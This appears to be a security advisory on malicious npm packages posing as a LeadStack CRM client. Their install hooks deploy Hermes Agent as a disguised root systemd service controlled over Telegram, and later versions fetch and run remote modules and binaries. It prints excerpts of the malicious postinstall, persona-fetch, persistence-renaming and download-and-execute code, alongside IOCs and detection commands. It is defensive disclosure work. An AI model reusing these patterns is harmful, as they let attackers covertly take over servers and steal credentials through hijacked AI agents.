CVE
Not assigned
CWE
CWE-506, CWE-829, CWE-494
Affected Surface
- npm `@leadstack/crm-connect` 1.0.15, 1.0.18, 1.0.19, 1.0.20, 1.0.21, 1.0.29, 1.0.30, 1.1.0 and 1.1.1 (published 16 November 2026, removed from the registry by 19 November 2026)
- npm `@zmatdspcrm/trading-connector` 1.0.0 and 1.0.1, `@zmatdspcrm/brandnet-connect` 1.0.0 and `brandnet-connect` 1.0.0 and 1.0.1 (published 18 November 2026, still on npm on 20 November 2026), which pull `brandnet-entitlement` from zmaticco[.]dev
- Linux servers where any of those versions was installed, especially with `sudo npm install` or as root, where 1.0.15 leaves a root-level agent running at boot
TL;DR
@leadstack/crm-connect claimed to be the “official LeadStack CRM client”. Its first published version, 1.0.15, has a postinstall script that turns the machine running npm install into a remote-controlled AI agent. It installs Hermes Agent, the open-source agent from Nous Research that can run shell commands, read and write files and drive a browser. Then it downloads the agent’s .env (model keys and, by necessity, a Telegram bot token) and its SOUL.md persona from 72[.]62[.]1[.]108. Finally it installs Hermes’s Telegram gateway as a systemd service running as root and renames the unit to leadstack-routing.service, “LeadStack Lead Routing Daemon (platform sync)”. Whoever holds the bot can then run commands on the server from a Telegram chat.
The npm account zmaticoo published nine versions between 09:44 and 15:27 UTC on 16 November 2026. SafeDep flagged it at 15:33 UTC and wrote it up on 19 November. npm has removed it: the registry returns “Not found”, but npmmirror still serves every tarball, and we checked the code below against those files. Every tarball hash matches SafeDep’s IOC list. On 18 November the same account published three more packages with no code of their own. Each pulls an optional dependency from https://zmaticco[.]dev/packages/brandnet-entitlement-1.0.0.tgz, and all three were still on npm on 20 November.
Hermes Agent and the hermes-agent npm wrapper aren’t malicious. The package uses them the way an administrator would, without asking the machine’s owner. SafeDep says this is the first time it has seen an npm install deploy an agent as an implant. ThreatDown’s September CARBONATO botnet did the same through exposed Docker APIs.
What to do now:
- Search lockfiles and
node_modulesfor@leadstack/crm-connect,@zmatdspcrm/*,brandnet-connectandbrandnet-entitlement. - On any Linux host that installed one, look for
leadstack-routing.service,leadstack-ingest-worker.service,hermes-gateway*units and the~/.leadstack,~/.config/leadstackand~/.local/share/leadstackdirectories. - If 1.0.15 ran as root, rebuild the server. Don’t try to clean it. Rotate every credential the host or the application’s environment could reach.
- Block
72[.]62[.]1[.]108andzmaticco[.]dev. Then check egress logs for long-polling toapi.telegram.orgor calls toapi.moonshot.aifrom servers with no business reason to make them.
Affected packages and projects
| Ecosystem | Package | Affected versions | Fixed or safe version |
|---|---|---|---|
| npm | @leadstack/crm-connect | 1.0.15, 1.0.18, 1.0.19, 1.0.20, 1.0.21, 1.0.29, 1.0.30, 1.1.0, 1.1.1 (all published 16 Nov 2026) | none. Removed from the registry by 19 Nov 2026. Remove it |
| npm | @zmatdspcrm/trading-connector | 1.0.0, 1.0.1 (18 Nov 2026) | none. Live on 20 Nov 2026 |
| npm | @zmatdspcrm/brandnet-connect | 1.0.0 (18 Nov 2026). 0.0.0-stage has no remote dependency | none. Live on 20 Nov 2026 |
| npm | brandnet-connect | 1.0.0, 1.0.1 (18 Nov 2026). 0.0.0-stage has no remote dependency | none. Live on 20 Nov 2026 |
| URL tarball | brandnet-entitlement 1.0.0 from zmaticco[.]dev | whatever the server returns at install time | not on npm. Block the domain |
| npm | hermes-agent 0.22.7 (unofficial wrapper, maintainer wyrtensi) | not malicious, but its presence in ~/.leadstack/runtime is a sign of 1.0.15 | n/a |
LeadStack doesn’t exist as a product. The package’s docs point at api.leadstack.io, which doesn’t resolve, and leadstack.io belongs to an unrelated business. zmaticco.dev, registered on 18 November, imitates the ad-tech company zMaticoo, which has nothing to do with this.
Technical analysis
We downloaded the nine tarballs from npmmirror and the two newest 18 November tarballs from npm into a scratch directory and read them. Nothing was installed or run.
1. Version 1.0.15: postinstall straight into the provisioner
package.json declares "postinstall": "node ./bin/postinstall.js". That script runs lead-provision.js with Node warnings off and fails the whole install if provisioning fails:
// bin/postinstall.js @ 1.0.15
const r = spawnSync(process.execPath, [path.join(dir, "lead-provision.js")], {
stdio: verbose ? "inherit" : "inherit",
env: {
...process.env,
NPM_CONFIG_ENGINE_STRICT: "false",
NODE_NO_WARNINGS: "1",
},
});
process.exit(r.status === 0 ? 0 : 1);
The bundled config names the attacker’s server and the model the agent will use:
// bin/partner.config.json @ 1.0.15
{
"bootstrapUrl": "http://72.62.1.108:3000/api/v1/partner/bootstrap",
"partnerId": "leadstack-connect-default",
"leadApiUrl": "http://72.62.1.108:3000",
"publicEndpoint": "https://api.leadstack.io",
"modelProvider": "kimi-coding",
"modelDefault": "kimi-k2-0711-preview"
}
2. The agent’s keys and instructions come from the server
// bin/lead-provision.js @ 1.0.15
async function fetchBootstrap(creds) {
if (!creds.token && !creds.partnerId) fail("Missing pairing profile");
const res = await fetch(creds.bootstrapUrl, { headers: bootstrapHeaders(creds) });
if (!res.ok) fail(`Bootstrap HTTP ${res.status}`);
const data = await res.json();
if (!data.env_lines?.length) fail("Invalid bootstrap payload");
return data;
}
async function fetchSoul(creds) {
const origin = new URL(creds.bootstrapUrl).origin;
...
const res = await fetch(`${origin}/api/v1/partner/profile`, { headers: h });
...
fs.writeFileSync(path.join(hermesHome(), "SOUL.md"), text, "utf8");
}
fetchBootstrap()demands a JSON body with a non-emptyenv_linesarray.main()merges those lines into~/.leadstack/agent/.env, the Hermes home directory.fetchSoul()saves whatever the server returns from/api/v1/partner/profileasSOUL.md. Hermes puts that file first in the system prompt, so the attacker decides who the agent is and what it does, and can change it without publishing a new npm version.- The package never asks the user for a model key or a bot token. Hermes can’t reach Telegram without them, so they have to arrive in that
.env. SafeDep didn’t recover the real.envorSOUL.md. By 19 November port 3000 had stopped answering, and port 80 wanted a bearer token.
3. A hidden nested install of Hermes Agent
installRuntimeHidden() runs a second npm install into ~/.leadstack/runtime. It pins hermes-agent@0.22.7 and passes --no-save --ignore-engines --no-audit --no-fund, with npm’s log level set to silent, so the name “hermes” never shows up in the victim’s terminal. It then runs hermes setup gateway --non-interactive to warm up the Telegram adapter, and hermes config set to point the model at kimi-coding / kimi-k2-0711-preview.
4. Root persistence, then a rename
// bin/lead-provision.js @ 1.0.15
const GATEWAY_UNIT = "leadstack-routing";
function enablePersistence(cli) {
spawnSync(
cli,
["gateway", "install", "--system", "--run-as-user", "root", "--no-start-now"],
{ stdio: verbose ? "inherit" : "ignore", shell: true, ...opts }
);
sleepSec(5);
const since = nowJournalSince();
startGateway();
ensureTelegramReadyWithSince(since);
rebrandGatewayUnit();
...
}
function rebrandGatewayUnit() {
...
unit = unit.replace(/^Description=.*$/m,
"Description=LeadStack Lead Routing Daemon (platform sync)");
unit = unit.replace(/Hermes Agent Gateway[^\n]*/g, "LeadStack routing");
fs.writeFileSync(dst, unit, "utf8");
runQuiet("systemctl", ["disable", "--now", installedName], ...);
fs.unlinkSync(src);
runQuiet("systemctl", ["daemon-reload"], ...);
runQuiet("systemctl", ["enable", GATEWAY_UNIT], ...);
}
- Hermes refuses to install its gateway as a root system service unless you pass
--run-as-user root. The package passes it. ensureTelegramReadyWithSince()reads the unit’s journal every three seconds, for up to three minutes, until Hermes logsConnected to Telegram (polling mode). If that line hasn’t appeared after 22 seconds, it restarts the service once (SafeDep). So the install only finishes after the attacker’s bot has a live agent.rebrandGatewayUnit()copies the Hermes unit to/etc/systemd/system/leadstack-routing.servicewith a CRM description, disables and deletes the originalhermes-gatewayunit, and enables the copy. Anyone who runssystemctl statuslater sees a “Lead Routing Daemon”.- Nothing calls
sudo. Ifnpm installran as a normal user, writing to/etc/systemd/systemfails and the install errors out. By then the agent, its.envand itsSOUL.mdare already on disk.
Once installed, Hermes gives a Telegram user the same tools it has on the command line: terminal, read_file/write_file/patch, execute_code, browser_*, cronjob_manage and delegate_task. Hermes asks the chat to approve commands it considers dangerous. By default, though, anyone allowed into the chat can approve them, and here that’s the attacker.
5. How delivery changed across the other eight versions
| Version | Published (UTC, 16 Nov) | Trigger | What runs | Server |
|---|---|---|---|---|
| 1.0.15 | 09:44 | postinstall | Hermes Agent as a root system service | 72[.]62[.]1[.]108:3000 |
| 1.0.18 | 10:42 | first call into the SDK (no install script) | Hermes Agent. Falls back to a user service plus loginctl enable-linger when not root | api.leadstack.io (doesn’t resolve) |
| 1.0.19 | 10:56 | pingPartnerApi() after a successful health check | JS module downloaded and run detached | api.leadstack.io |
| 1.0.20 | 11:14 | postinstall (lib/npm-cache-warm.js) | same module | 72-62-1-108[.]sslip[.]io |
| 1.0.21 | 11:14 | postinstall | same module | 72[.]62[.]1[.]108 |
| 1.0.29 | 14:55 | postinstall (scripts/install.mjs) | native binary downloaded and run | api.leadstack.io |
| 1.0.30 | 15:04 | postinstall | same binary | 72[.]62[.]1[.]108 |
| 1.1.0, 1.1.1 | 15:24, 15:27 | postinstall | platform package @leadstack/crm-connector-linux-x64, never published | none |
From 1.0.19 on, the tarball carries no agent code at all, only a loader. This is the module loader from 1.0.20 and 1.0.21:
// lib/partner-sync.js @ 1.0.21
async function downloadWorkerModule() {
...
const url = `${origin}/api/v1/partner/runtime-module`;
const res = await fetch(url, { headers: bootstrapHeaders(creds) });
...
const target = path.join(dir, "platform-sync.mjs"); // ~/.config/leadstack/cache/
fs.writeFileSync(target, body, "utf8");
return target;
}
function spawnWorker(scriptPath, creds, cfg) {
const childEnv = { ...process.env, NODE_NO_WARNINGS: "1", ...,
LEADSTACK_USER_PERSISTENCE: "1" };
const child = spawn(process.execPath, [scriptPath], {
detached: !verbose, stdio: verbose ? "inherit" : ["ignore", logFd, logFd],
env: childEnv,
});
if (!verbose) child.unref();
}
The downloaded module runs detached, with the full environment of whatever loaded the package, which includes CI secrets or the CRM app’s credentials. A lock file (~/.config/leadstack/.partner-sync) stops it from running again for seven days. Version 1.0.30 skips JavaScript and fetches a native binary:
// scripts/install.mjs @ 1.0.30
const BIN_DIR = join(homedir(), ".local", "share", "leadstack", "bin");
const url = `http://72.62.1.108/v1/releases/${PLATFORM}/${VERSION}/crm-connector`;
...
writeFileSync(BIN_PATH, Buffer.from(await res.arrayBuffer()));
chmodSync(BIN_PATH, 0o755);
execFileSync(BIN_PATH, ["--version"], { timeout: 15_000, encoding: "utf8" });
Calling it with --version doesn’t make it harmless. Whatever the server returned runs with the installing user’s rights. Versions 1.1.0 and 1.1.1 copy the esbuild/swc pattern: an optionalDependencies entry for @leadstack/crm-connector-linux-x64 plus a SHA-256 “integrity check”. That platform package was never published, so those two versions do nothing as shipped.
The READMEs target server-side engineers (“install it in the same Node project as your ingest API or webhook worker”). A systemd service, linger and a seven-day lock make sense on a long-lived Linux server, not on a CI runner. SafeDep reads the later lures, which mention “a network of trading brands” and “CRM / broker-desk partners”, as aimed at forex and CFD brokerages. That’s SafeDep’s inference from the lures. Nobody has reported a victim.
6. The 18 November packages: a remote dependency and no code
@zmatdspcrm/trading-connector, @zmatdspcrm/brandnet-connect and brandnet-connect have no install scripts and harmless index.js files. What they do have is this:
// package.json @ @zmatdspcrm/trading-connector 1.0.1 and brandnet-connect 1.0.1
"optionalDependencies": {
"brandnet-entitlement": "https://zmaticco.dev/packages/brandnet-entitlement-1.0.0.tgz"
},
npm fetches that URL on every fresh install and runs any lifecycle scripts the tarball contains. It isn’t on npm, so the registry’s malware scanning never sees it, and the attacker can swap it at any time. SafeDep says the server returned a harmless token validator on 19 November. The URL still answered HTTP 200 on 20 November. We didn’t download it. SafeDep also found a PDF on the same domain that tells “integration engineers” to run npm install brandnet-connect on a staging host.
IOCs
| Type | Value | Context |
|---|---|---|
| npm package | @leadstack/crm-connect 1.0.15, 1.0.18, 1.0.19, 1.0.20, 1.0.21, 1.0.29, 1.0.30, 1.1.0, 1.1.1 | publisher zmaticoo (venstate25[@]gmail[.]com) |
| npm package | @zmatdspcrm/trading-connector 1.0.0, 1.0.1; @zmatdspcrm/brandnet-connect 1.0.0; brandnet-connect 1.0.0, 1.0.1 | same publisher, remote optional dependency |
| IP | 72[.]62[.]1[.]108 (ports 3000 and 80) | bootstrap, persona, module and binary server |
| Domain | 72-62-1-108[.]sslip[.]io | 1.0.20 config |
| Domain | zmaticco[.]dev | registered 18 Nov 2026, resolves to the same IP, hosts brandnet-entitlement-1.0.0.tgz |
| Domain | api.leadstack[.]io | decoy endpoint in configs, doesn’t resolve |
| URL path | /api/v1/partner/bootstrap, /api/v1/partner/profile, /api/v1/partner/runtime-module, /v1/releases/<platform>/<version>/crm-connector | C2 routes |
| HTTP header | X-LeadStack-Partner-Id: leadstack-connect-default | sent with bootstrap requests |
| systemd unit | leadstack-routing.service, leadstack-ingest-worker.service (system or --user) | renamed Hermes gateway |
| Path | ~/.leadstack/agent/ (.env, SOUL.md), ~/.leadstack/runtime/node_modules/hermes-agent | 1.0.15 agent home and runtime |
| Path | ~/.config/leadstack/ (cache/platform-sync.mjs, .partner-sync, provision.log) | 1.0.19 to 1.0.21 loader |
| Path | ~/.local/share/leadstack/bin/crm-connector-1.0.29, crm-connector-1.0.30 | dropped binaries |
| SHA-256 | 29559f042f81c7a6cc642173eab09b0b02e369f47b594b68c78028ef2df10e4c | crm-connect-1.0.15.tgz |
| SHA-256 | 8cd56c6a036ae6d08cc07e64f98a3af7d836204d7620203bee5b8fd7d6931757 | crm-connect-1.0.18.tgz |
| SHA-256 | 3083068c322829c9840f0931f7adfb39b8357d0d8a074d7f1967174631443154 | crm-connect-1.0.19.tgz |
| SHA-256 | ce1812a6e1a5bc99cc705e44b10ae476324ea7930616508a11cc3173934e1abb | crm-connect-1.0.20.tgz |
| SHA-256 | d95fad3aea003d6b53645daa8d724ac32e4b2e25e6e4c71264fdb15f8b8b3adb | crm-connect-1.0.21.tgz |
| SHA-256 | 8a2f9a526955a07b183c3f3658d2088eb4c8c66d3fcaf8fb91322944b82e6e92 | crm-connect-1.0.29.tgz |
| SHA-256 | 179e1934b74b45b51f7efb1f03e7990d03e354298c7854079bf32615888ac0d7 | crm-connect-1.0.30.tgz |
| SHA-256 | 4650bfd8ce65a5df88b90e2676d1928690eef55cf0cef7e7929c98e35ec5b3c0 | crm-connect-1.1.0.tgz |
| SHA-256 | 2e7edfd663676dacb7fb6320e6d842eea0ead00095d299de38f1d5297926bb49 | crm-connect-1.1.1.tgz |
| SHA-256 | 588b35c86b3759ccde6d6d160a09115b79b8bd2433a62883e3cfb87a1afa6163 | bin/lead-provision.js @ 1.0.15 |
| SHA-256 | f649a92aa11bfdf08e1dfbec832ed082f797316b4157086e31e40f7423871037 | lib/warm-session.js @ 1.0.18 |
| SHA-256 | 2481bb7ce1ffa74aede89216e7ebf820f498c0649cfe3309a84d0bed0ac46e72 | lib/partner-sync.js @ 1.0.20 and 1.0.21 |
| SHA-256 | 7b6f47ce17a89bf72c8c8bd7e9099d56a854e4d46de3012e9181c06459807fec | trading-connector-1.0.1.tgz |
| SHA-256 | 596ed570f4ee5501f6bf5ee8ad510314c0e7e9b21828611c90c2ff254df2762d | brandnet-connect-1.0.1.tgz |
| Network | outbound long-polling to api.telegram[.]org, calls to api.moonshot[.]ai | Hermes gateway and Kimi model traffic from servers that shouldn’t make them |
Detection and remediation
# 1. Lockfiles and manifests in every repo you build
grep -rnE '@leadstack/crm-connect|@leadstack/crm-connector|@zmatdspcrm/|brandnet-connect|brandnet-entitlement|zmaticco\.dev' \
--include=package.json --include=package-lock.json --include=npm-shrinkwrap.json \
--include=yarn.lock --include=pnpm-lock.yaml .
# 2. Installed copies
npm ls @leadstack/crm-connect @zmatdspcrm/trading-connector @zmatdspcrm/brandnet-connect brandnet-connect brandnet-entitlement 2>/dev/null
find / -path '*/node_modules/@leadstack/crm-connect/package.json' -o -path '*/node_modules/brandnet-entitlement/package.json' 2>/dev/null
# 3. Agent files and renamed units (run as root to see /root and all users)
ls -la /root/.leadstack /root/.config/leadstack /home/*/.leadstack /home/*/.config/leadstack /home/*/.local/share/leadstack 2>/dev/null
systemctl list-unit-files 'leadstack-*' 'hermes-gateway*'
for u in $(ls /home); do sudo -u "$u" XDG_RUNTIME_DIR=/run/user/$(id -u "$u") systemctl --user list-unit-files 'leadstack-*' 'hermes-gateway*' 2>/dev/null; done
loginctl list-users; ls /var/lib/systemd/linger/ 2>/dev/null
journalctl -u leadstack-routing.service --no-pager | grep -m5 'Connected to Telegram'
# 4. Network
sudo ss -tnp | grep -E '72\.62\.1\.108|149\.154\.|91\.108\.' # Telegram ranges
grep -rE '72\.62\.1\.108|zmaticco\.dev|sslip\.io' /var/log/ 2>/dev/null | head
# 5. CI logs: did a pipeline ever resolve these packages?
gh run list --limit 200 --json databaseId --jq '.[].databaseId' | \
xargs -I{} sh -c 'gh run view {} --log 2>/dev/null | grep -qE "leadstack/crm-connect|brandnet-connect|zmaticco" && echo "match in run {}"'
If you find the agent:
- Disconnect the host. Then stop and disable
leadstack-routing.service(or the--userunit), remove/etc/systemd/system/leadstack-*.service, delete theleadstackdirectories, and disable linger for that user if you didn’t turn it on yourself. This only buys you time to rebuild. - If 1.0.15 ran as root, treat the server as fully compromised. Through Telegram the attacker had a root shell, file access and cron. Rebuild from a clean image.
- Rotate everything the host or the application’s environment could reach: database and CRM credentials, cloud keys and instance roles, SSH keys, npm and Git tokens, and API keys in
.envfiles. With a non-root install, the agent ran as the installing user. If that user runs the app, it could read the app’s secrets. - Remove the 18 November packages and block
zmaticco[.]devat egress, even though their tarballs are clean today. npm can’t vouch for the remote dependency.
Running npm install --ignore-scripts would have stopped the postinstall variants (1.0.15, 1.0.20, 1.0.21, 1.0.29, 1.0.30, 1.1.x). It wouldn’t have stopped 1.0.18 and 1.0.19, which fire on the first SDK call.
Timeline
- 2026-09: ThreatDown publishes CARBONATO, a Docker botnet that installs Hermes Agent with a replaced
SOUL.mdand takes tasks over Telegram. - 2026-11-04:
hermes-agent0.22.7, the unofficial npm wrapper the payload pins, is published bywyrtensi. - 2026-11-16 09:44 UTC:
zmaticoopublishes@leadstack/crm-connect1.0.15 (Hermes Agent postinstall). All but the last version set"access": "restricted". - 2026-11-16 10:42 to 15:27 UTC: Versions 1.0.18 to 1.1.1 follow, moving the payload into the SDK, then into a remote JS module, a remote binary and an unpublished platform package.
- 2026-11-16 15:26 UTC: npmmirror first records the package, a minute before the last release.
- 2026-11-16 15:33 UTC: SafeDep flags the package. A researcher confirms the verdict at 16:20 UTC.
- 2026-11-18:
zmaticco[.]devregistered, resolving to72[.]62[.]1[.]108. Between 18:28 and 18:49 UTCzmaticoopublishes@zmatdspcrm/trading-connector,@zmatdspcrm/brandnet-connectandbrandnet-connect, each with the remotebrandnet-entitlementdependency. - 2026-11-19: SafeDep publishes its analysis.
@leadstack/crm-connecthas been removed from npm. The 18 November packages are still live. - 2026-11-20: The npm registry still returns “Not found” for
@leadstack/crm-connect. The three 18 November packages are still published, and thebrandnet-entitlementURL answers HTTP 200.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- SafeDep (19 November 2026): Malicious npm Package Turns Hermes Agent into a Backdoor
- SafeDep: IOC list for @leadstack/crm-connect and related packages (CSV)
- npmmirror: @leadstack/crm-connect package metadata (all nine tarballs still mirrored)
- npm: @zmatdspcrm/trading-connector
- npm: brandnet-connect
- ThreatDown (September 2026): CARBONATO, a botnet built around an AI agent
- BleepingComputer: New Carbonato malware uses AI agents to hijack exposed Docker hosts
- npm: hermes-agent (the unofficial wrapper the payload installs)